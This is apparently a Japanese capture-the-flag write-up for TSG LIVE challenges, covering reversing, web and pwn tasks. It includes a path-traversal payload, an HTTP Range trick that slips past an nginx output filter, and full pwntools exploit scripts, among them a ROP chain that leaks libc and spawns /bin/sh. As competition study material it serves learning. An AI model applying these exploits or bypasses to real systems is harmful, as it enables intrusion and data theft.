WOLF RPGエディターで作られたゲーム。起動するとゲームが始まって、配置されている宝箱に触るとflag?と聞いてくる。
Data/MapData/SampleMapA.mps
の中にflag?という文字列があり、おそらくここがflagチェック処理が含まれているバイナリであるがどういったものかは不明。{}QWERTYUIOPASDFGHJKLZXCVBNM_
やTKTNT}RRUAPRHDSH{SXMREISUAH}RE}PUYPUQYDBQTLKXWCJXTY
の文字列が見えるが、適当にxorしてもflagにはならないのでguessは諦める。
https://silversecond.com/WolfRPGEditor/ のエディタでそのまま開けるようだったので処理を読む。\v[0]
のような文章を追加するとV0
の変数を表示できるのでデバッグが楽。
あとは1文字ずつブルートフォースして求めた。
S1 = 'TSGLIVE{}'
S2 = '{}QWERTYUIOPASDFGHJKLZXCVBNM_'
answer = 'TKTNT}RRUAPRHDSH{SXMREISUAH}RE}PUYPUQYDBQTLKXWCJXTY'
idx = 0
i = 0
flag = ''
for _ in range(len(answer)):
for c in list(S2):
j = i + S2.index(c)
j %= 29
if answer[idx] == S2[j]:
i = j
idx += 1
flag += c
print(flag)
break
else:
assert 0
flag: TSGLIVE{WE_CAN_EASIRY_REVERSE_NON_ENCRYPTED_WOLVES}
以下のコードを見てとりあえずディレクトリトラバーサルだろうと試す。
async function getResultContent(type) {
return await readFile(`${import.meta.dirname}/${type}`, 'utf-8')
}
POST /save
に../../../../flag
を投げ、生成されたファイルを見るとflagがある。
flag: TSGLIVE{1_knew_at_f1rst_g1ance_that_1t_was_so_0rdin4ry_path_traversal}
omikujiとほぼ同じコード。nginxのconfigにflagを消す処理がある。
location / {
sub_filter "${FLAG}" "### CENSORED ###";
sub_filter_once off;
proxy_pass http://app:3000;
}
こういうケース、CTF的にはRangeっぽい。Range: bytes=290-330
で試すとflagの一部のみが返ってくるのでフィルタされない。
flag: TSGLIVE{wh3re_1s_my_f1ag?_1s_b1ue_b1rd_1ns1de?}
残り時間はrev問のsmtfanを見ていたのだけど、S式がつらいつらいと思っていたらいつの間にか終わっていた。pwnをやっておけばよかったということで終了後に解いたので供養。
create時にsizeを-1にするとmallocが失敗してbufsは0だけどsizesに値が入っているような状況を作り出せるのでflagが入っているアドレスを読み出せる。
from pwn import *
context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack
p8, u8, p16, u16, p32, u32, p64, u64 = make_packer(8), make_unpacker(8), make_packer(16), make_unpacker(16), make_packer(32), make_unpacker(32), make_packer(64), make_unpacker(64)
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host, port = ''.split()
port = int(port)
else:
host, port = '127.0.0.1 4000'.split()
port = int(port)
s = remote(host, port)
def create(index, size):
s.sendlineafter(b'> ', b'1')
s.sendlineafter(b'> ', b'%d' % index)
s.sendlineafter(b'> ', b'%d' % size)
def put(index, pos, data):
s.sendlineafter(b'> ', b'2')
s.sendlineafter(b'> ', b'%d' % index)
s.sendlineafter(b'> ', b'%d' % pos)
def read(index, pos):
s.sendlineafter(b'> ', b'3')
s.sendlineafter(b'> ', b'%d' % index)
s.sendlineafter(b'> ', b'%d' % pos)
create(0, -1)
for i in range(10):
read(0, (0x404060+i*4)/4)
s.recvuntil(b'data >')
x = p32(int(s.recvuntil(b'\n', drop=True)))
print(x)
s.interactive('')
large_live_memoと同じバイナリ。おそらく/flag2かシェルを起動すればよいはず。
適当にアドレス読み書きはできるがFull RELROなので面倒。最近まともにpwnをやっていなくて__libc_argv
のことを忘れていて時間がかかった……。さすがにこれは競技時間中にやっていたとしても解けてなさそう。
昔はオレオレスクリプトで吐き出したオフセットをexploit中で使っていたのだけど最近はpwntoolsのELFを使うようにしている。__libc_argv
のアドレス解決をどうにかできると綺麗なのだけど、このシンボルはdwarf内にあるっぽく(なのでgdbでは解決できる)pyelftoolsからどうにかする方法はさっとわからず断念。いつか調べる。
追記: 調べた。そもそもdwarfにあったのは(readelf -wとかで見えるものは).debug_frameで、gdbで解決できるのはdebug symbolを参照しているからっぽい。debug symbolがある場合、pwntoolsのELFから直接使う方法はわからないが、eu-unstripを使うとdebug symbolにある情報を戻したバイナリを生成できる。それを使うことでlibc.sym['__libc_argv']
のように参照できるようになる。配布されていたlibcはちょうど手元のlibcと同じ(Ubuntu 24.04の2.39-0ubuntu8.1)だったのでdebug symbolがあった。
from pwn import *
context.update(os='linux', arch='amd64', log_level='info')
p, u = pack, unpack
p8, u8, p16, u16, p32, u32, p64, u64 = make_packer(8), make_unpacker(8), make_packer(16), make_unpacker(16), make_packer(32), make_unpacker(32), make_packer(64), make_unpacker(64)
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host, port = ''.split()
port = int(port)
libc = ELF('./libc.so.6')
else:
host, port = '127.0.0.1 4000'.split()
port = int(port)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = base = ELF('./chall')
s = remote(host, port)
def create(index, size):
s.sendlineafter(b'> ', b'1')
s.sendlineafter(b'> ', b'%d' % index)
s.sendlineafter(b'> ', b'%d' % size)
def put(index, pos, data):
s.sendlineafter(b'> ', b'2')
s.sendlineafter(b'> ', b'%d' % index)
s.sendlineafter(b'> ', b'%d' % pos)
s.sendlineafter(b'> ', b'%d' % data)
def read(index, pos):
s.sendlineafter(b'> ', b'3')
s.sendlineafter(b'> ', b'%d' % index)
s.sendlineafter(b'> ', b'%d' % pos)
def aar(addr, size):
retval = b''
for i in range(size):
read(0, (addr+i*4)//4)
s.recvuntil(b'data >')
retval += p32(int(s.recvuntil(b'\n', drop=True)))
return retval
def aar2(size):
retval = b''
for i in range(size):
read(1, i)
s.recvuntil(b'data >')
retval += p32(int(s.recvuntil(b'\n', drop=True)))
return retval
def aaw(addr, data):
for i in range(0, len(data), 4):
put(0, (addr+i)//4, u32(data[i:i+4]))
def aaw2(data):
for i in range(0, len(data), 4):
put(1, i//4, u32(data[i:i+4]))
create(0, -1)
libc.address = u(aar(base.got['__libc_start_main'], 2)) - libc.sym['__libc_start_main']
print('libc : %x' % libc.address)
create(1, 10)
bufs1 = 0x4040D8
aaw(bufs1, p(libc.address + 0x2046e0)) # __libc_argv
stack = u(aar2(2)) - 0x120
print('stack : %x' % stack)
aaw(bufs1, p(stack))
rop = ROP([libc])
payload = (
p(rop.ret.address) +
p(rop.rdi.address) +
p(next(libc.search(b'/bin/sh\0'))) +
p(libc.sym['system']) +
b''
)
aaw2(payload)
s.sendlineafter(b'> ', b'4')
s.interactive('')
配布されているソースコードに適当にprintfを追加しながらデバッグ。a-z, A-Z範囲以外のformulaを指定するとflagやN, Lの部分を参照できる。flagを1文字ずつ参照して、各ビットが立っているかどうかをSAT or UNSATで返すようにするとブルートフォースできる。NとLから1, 2, 4, 8, 16, 32, 64を作り出せるのでその値を使う。
from pwn import *
context.update(os='linux', arch='amd64', log_level='info')
# context.update(os='linux', arch='amd64', log_level='debug')
p, u = pack, unpack
p8, u8, p16, u16, p32, u32, p64, u64 = make_packer(8), make_unpacker(8), make_packer(16), make_unpacker(16), make_packer(32), make_unpacker(32), make_packer(64), make_unpacker(64)
REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
host, port = ''.split()
port = int(port)
else:
host, port = '127.0.0.1 4000'.split()
port = int(port)
s = remote(host, port)
flag = ''
for i in range(25):
bits = []
for j in range(7):
s.recvuntil(b'> ')
payload = (
# flag
p8(0x11 + i) +
b''
)
if j == 0:
# N=1
payload += b'*\x35*A'
elif j == 1:
# N=2
payload += b'*\x35*B'
elif j == 2:
# N=4
payload += b'*\x35*D'
else:
# L
payload += b'*\x31*' + b'A' * ((1 << j) - 4)
s.send(payload + b'\n')
unsat = b'UNSAT' in s.recvuntil(b'SAT\n')
bits.append('0' if unsat else '1')
flag += chr(int(''.join(bits[::-1]), 2))
print(flag)
s.interactive('')